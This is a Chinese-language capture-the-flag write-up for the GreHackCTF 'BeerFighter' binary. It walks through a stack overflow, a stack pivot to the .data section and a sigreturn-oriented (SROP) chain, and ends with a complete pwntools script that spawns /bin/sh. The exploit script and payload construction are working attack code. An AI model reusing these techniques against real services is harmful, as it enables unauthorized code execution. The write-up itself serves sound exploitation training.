Post

GreHackCTF - BeerFighter

GreHackCTF - BeerFighter

0x01 程序分析

main函数主要调用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 new_comer()
{
  _BYTE v1[1024]; // [rsp+10h] [rbp-410h] BYREF
  int v2; // [rsp+410h] [rbp-10h] BYREF
  int v3; // [rsp+414h] [rbp-Ch] BYREF

  qmemcpy(v1, "Newcomer", sizeof(v1));
  v2 = 0;
  welcome(&v2, &dword_400BE0, &v3);
  while ( (unsigned int)core_function((__int64)v1) )
    ;
  sub_40025A(&unk_4007C0);
  return 0;
}

其把rbp - 0x410 作为参数:

1
2
3
.text:00000000004001CD                 lea     rax, [rbp+var_410]
.text:00000000004001D4                 mov     rdi, rax
.text:00000000004001D7                 call    core_function

core_function中,只有选项1有实际逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall core_function(__int64 a1)
{
  ...
  sub_40025A("[0] The bar\n");
  sub_40025A("[1] The City Hall\n");
  sub_40025A("[2] The dark yard\n");
  sub_40025A("[3] Leave the town for ever\n");
  v1 = sub_400396("Type your action number > ", 0, 3);
  if ( v1 == 1 )
  {
    vuln(a1);
  }
  ...
}

然后就是往参数缓冲区写入2048字符,存在溢出:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall vuln(__int64 a1)
{
  ......
  else
  {
    sub_40025A("Type your character name here > ");
    sub_400332(v2, 2048, 0);
    sub_400446(a1, v2, 2048);
    return sub_40025A("\n");
  }
}

可以通过溢出修改控制流. 查找gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2017/Exploit/250 - BeerFighter <master?> (nu)                                                                                                              [.venv14]
[woc@nixos]> ROPgadget --binary ./game --only "pop|rax|rdi|rsi|ret|syscall"
Gadgets information
============================================================
0x00000000004007b1 : pop r8 ; ret
0x00000000004007b2 : pop rax ; ret
0x0000000000400258 : pop rbp ; ret
0x00000000004007a7 : pop rsi ; ret
0x00000000004001f2 : ret
0x000000000040021b : ret 0x1bf
0x0000000000400423 : ret 0x3930
0x0000000000400254 : ret 0x8948
0x0000000000400274 : ret 0x8b48
0x00000000004002b0 : ret 0xbf
0x0000000000400770 : syscall

Unique gadgets found: 11

并没有pop rdi的gadget,这会对我们构造ROP链、以及装载rdi位置的”/bin/sh\x00” 带来困难.

但是程序提供了syscall,以及pop rax, 可以尝试SROP,通过在栈上伪造SigFrame, 来实现对寄存器的绝对控制.

我们的理想情况是:把rax设置为0xf (sig_return),此时rsp对应的位置是我们伪造的SigFrame, 将rdi指向”/bin/sh”, rax为59(execve), rip指向syscall gadget地址. 但还有一个问题没有解决:这个程序并没有找到任何信息泄漏的方法,无法泄漏栈指针,就无法知道我们写在栈上”/bin/sh\x00”的地址,无法填写rdi的值.

这种情况下我们就需要使用栈迁移,把rsp/rbp指针移动到已知的区间.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
2017/Exploit/250 - BeerFighter <master?> (nu)                                                                                                              [.venv14]
[woc@nixos]> readelf -S ./game
There are 9 section headers, starting at offset 0x2068:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .note.gnu.bu[...] NOTE             0000000000400158  00000158
       0000000000000024  0000000000000000   A       0     0     4
  [ 2] .text             PROGBITS         000000000040017c  0000017c
       000000000000063c  0000000000000000  AX       0     0     1
  [ 3] .rodata           PROGBITS         00000000004007c0  000007c0
       0000000000000b93  0000000000000000   A       0     0     32
  [ 4] .eh_frame         PROGBITS         0000000000401358  00001358
       00000000000001f8  0000000000000000   A       0     0     8
  [ 5] .got              PROGBITS         0000000000601fe8  00001fe8
       0000000000000018  0000000000000008  WA       0     0     8
  [ 6] .data             PROGBITS         0000000000602000  00002000
       0000000000000006  0000000000000000  WA       0     0     1
  [ 7] .comment          PROGBITS         0000000000000000  00002006
       0000000000000011  0000000000000001  MS       0     0     1
  [ 8] .shstrtab         STRTAB           0000000000000000  00002017
       000000000000004a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)
1
2
3
4
5
6
7
8
9
10
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x402000 r-xp     2000       0 game
          0x601000           0x603000 rw-p     2000    1000 game
    0x7ffff7ff7000     0x7ffff7ffb000 r--p     4000       0 [vvar]
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000       0 [vvar_vclock]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000       0 [vdso]
    0x7ffffffdc000     0x7ffffffff000 rw-p    23000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

并没有.bss段,但是我们可以使用.data. (这里的Section大小为0x2000. 但是动态运行的时候Segment Address是0x601000,我们可以选择0x601000 + size/2 = 0x602000)

0x02 栈迁移研究

大部分函数都形如:

1
2
3
4
5
6
7
8
; -> 1
push    rbp
mov     rbp, rsp
sub     rsp, 420h
; -> 2
......
leave
retn

正常情况下从1位置入口:

  1. push rbp, 此时栈上有返回地址、保存的rbp, 仍然是0x10对齐的.
  2. mov rbp, rsp, 现在rbp有了新的值. 在当前函数中,引用栈上的数据都是通过rbp完成. 只要进入函数前的rsp合法即可,而旧的rbp被覆盖,不会影响
  3. sub rsp, 420h, 设置新的栈帧
  4. leave,先执行mov rsp, rbp, 然后pop rbp
  5. ret

这个过程中,栈上push/pop的值是平衡的.

如果我们控制了栈上的saved rbp值,执行leave-ret后,就可以控制rbp的值. 这之后,如果我们仍然从1开始执行,那么旧的rbp值被覆盖,并不会对执行过程产生什么影响;

但如果从2后开始执行,就会把我们先前控制的旧rbp赋给rsp, 将rsp迁移到我们想要的区域;同时从栈上弹出一个新的rbp值。这个过程有点像水泵,每次把旧的rbp赋给rsp, 并再泵入一个rbp.

总之:一次leave-ret控制rbp, 两次leave-ret控制rsp.

会过头来看这一题,我们能直接把rsp迁移到.data段上吗?如果这样做,在第二次leave指令,就会把rsp迁移过去,在执行后续的ret指令时,要求栈指针所在的地方有合法地址,这要求我们有提前往.data上写入数据的能力.

可是,这一题并没有pop rdi, 也不容易通过rop实现这一点.

那么,我们只能控制rbp了. 因为在函数中引用数据是通过它来实现的,所以我们要跳过开头的pushd部分,这样就能控制了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:000000000040017C ; Attributes: bp-based frame
.text:000000000040017C
.text:000000000040017C new_comer       proc near               ; CODE XREF: start+B↓p
.text:000000000040017C
.text:000000000040017C var_420         = qword ptr -420h
.text:000000000040017C var_414         = dword ptr -414h
.text:000000000040017C var_410         = byte ptr -410h
.text:000000000040017C var_10          = dword ptr -10h
.text:000000000040017C
.text:000000000040017C ; __unwind {
.text:000000000040017C                 push    rbp
.text:000000000040017D                 mov     rbp, rsp
.text:0000000000400180                 sub     rsp, 420h
.text:0000000000400187                 mov     [rbp+var_414], edi
.text:000000000040018D                 mov     [rbp+var_420], rsi
.text:0000000000400194                 lea     rdx, [rbp+var_410]
.text:000000000040019B                 lea     rax, aNewcomer  ; "Newcomer"
.text:00000000004001A2                 mov     ecx, 80h
.text:00000000004001A7                 mov     rdi, rdx
.text:00000000004001AA                 mov     rsi, rax
.text:00000000004001AD                 rep movsq
.text:00000000004001B0                 mov     rax, rsi
.text:00000000004001B3                 mov     rdx, rdi
.text:00000000004001B6                 mov     ecx, [rax]
.text:00000000004001B8                 mov     [rdx], ecx
.text:00000000004001BA                 lea     rdx, [rdx+4]
.text:00000000004001BE                 lea     rax, [rax+4]
.text:00000000004001C2                 mov     eax, 0
.text:00000000004001C7                 call    welcome
.text:00000000004001CC                 nop
.text:00000000004001CD
.text:00000000004001CD loc_4001CD:                             ; CODE XREF: new_comer+62↓j
.text:00000000004001CD                 lea     rax, [rbp+var_410]
.text:00000000004001D4                 mov     rdi, rax
.text:00000000004001D7                 call    core_function
.text:00000000004001DC                 test    eax, eax
.text:00000000004001DE                 jnz     short loc_4001CD
.text:00000000004001E0                 lea     rdi, unk_4007C0
.text:00000000004001E7                 call    sub_40025A
.text:00000000004001EC                 mov     eax, 0
.text:00000000004001F1                 leave
.text:00000000004001F2                 retn
.text:00000000004001F2 ; } // starts at 40017C
.text:00000000004001F2 new_comer       endp

我们可以直接跳到 4001CD. (这里不能直接跳到vuln函数,因为它发生溢出的数据是通过参数传过来的,所以需要继续往外找)

0x03 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
import sys

# record arg before importing pwntools(which will comsume the DEBUG arg)
RAW_ARGS = tuple(sys.argv[1:])

from pwn import *
import os
import shutil

elf = ELF("./game", checksec=False)

HOST = "some.website"
PORT = 1337
SSL = False

context.binary = elf
context.arch = "amd64"
context.gdb_binary = "/home/woc/.nix-profile/bin/pwndbg"

if os.environ.get("TMUX"):
    context.terminal = ["tmux", "splitw", "-h"]
elif os.environ.get("DISPLAY"):
    for terminal in ("ghostty", "alacritty", "kitty", "konsole"):
        if shutil.which(terminal):
            context.terminal = [terminal, "-e"]
            break

gdbscript = r"""
set pagination off
set breakpoint pending on
set auto-solib-add on
c
"""

def start():
    def has_flag(name):
        return name in RAW_ARGS or any(arg.startswith(name + "=") for arg in RAW_ARGS)

    remote_enabled = has_flag("REMOTE") or bool(args.REMOTE)
    debug_enabled = (
        has_flag("DEBUG")
        or has_flag("GDB")
        or bool(args.DEBUG)
        or bool(args.GDB)
    )

    if remote_enabled:
        return remote(HOST, PORT, ssl=SSL)

    if debug_enabled:
        p = process([elf.path])
        log.info("Attaching gdb using terminal: %r", context.terminal)
        gdb.attach(p, gdbscript=gdbscript)
        return p

    return process([elf.path])


p = start()

# ===== exploit here =====



new_rbp = 0x602000
leave_ret_gadget = 0x4001F1
pop_rax_ret_gadget = 0x4007b2
# ret_gadget = 0x4007B0
syscall_gadget = 0x400770

again = 0x4001CD

payload1 = flat(
    #
    b'A' * 0x410,
    new_rbp,
    again
)

area2 = new_rbp - 0x410
frame = SigreturnFrame()    # len(frame) == 0xf8
frame.rax = 59  # execve syscall
frame.rdi = area2
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget

payload2 = b'/bin/sh\x00'.ljust(0x410, b'A')
payload2 += p64(0)      # new rbp, doesn't matter
payload2 += p64(pop_rax_ret_gadget)
payload2 += p64(0xf)
payload2 += p64(syscall_gadget)
payload2 += bytes(frame)
# cannot appear '\n'==0x0a in our payload

p.recvuntil(b'Type your action number > ')
p.sendline(b'1')

p.recvuntil(b'Type your action number >')
p.sendline(b'0')

p.sendline(payload1)
p.sendline(b'3')    # trigger return. then we can hijack the program


p.recvuntil(b'Type your action number > ')
p.sendline(b'1')

p.recvuntil(b'Type your action number >')
p.sendline(b'0')

p.sendline(payload2)
p.sendline(b'3')    # trigger return. then we can hijack the program

p.interactive()
This post is licensed under CC BY 4.0 by the author.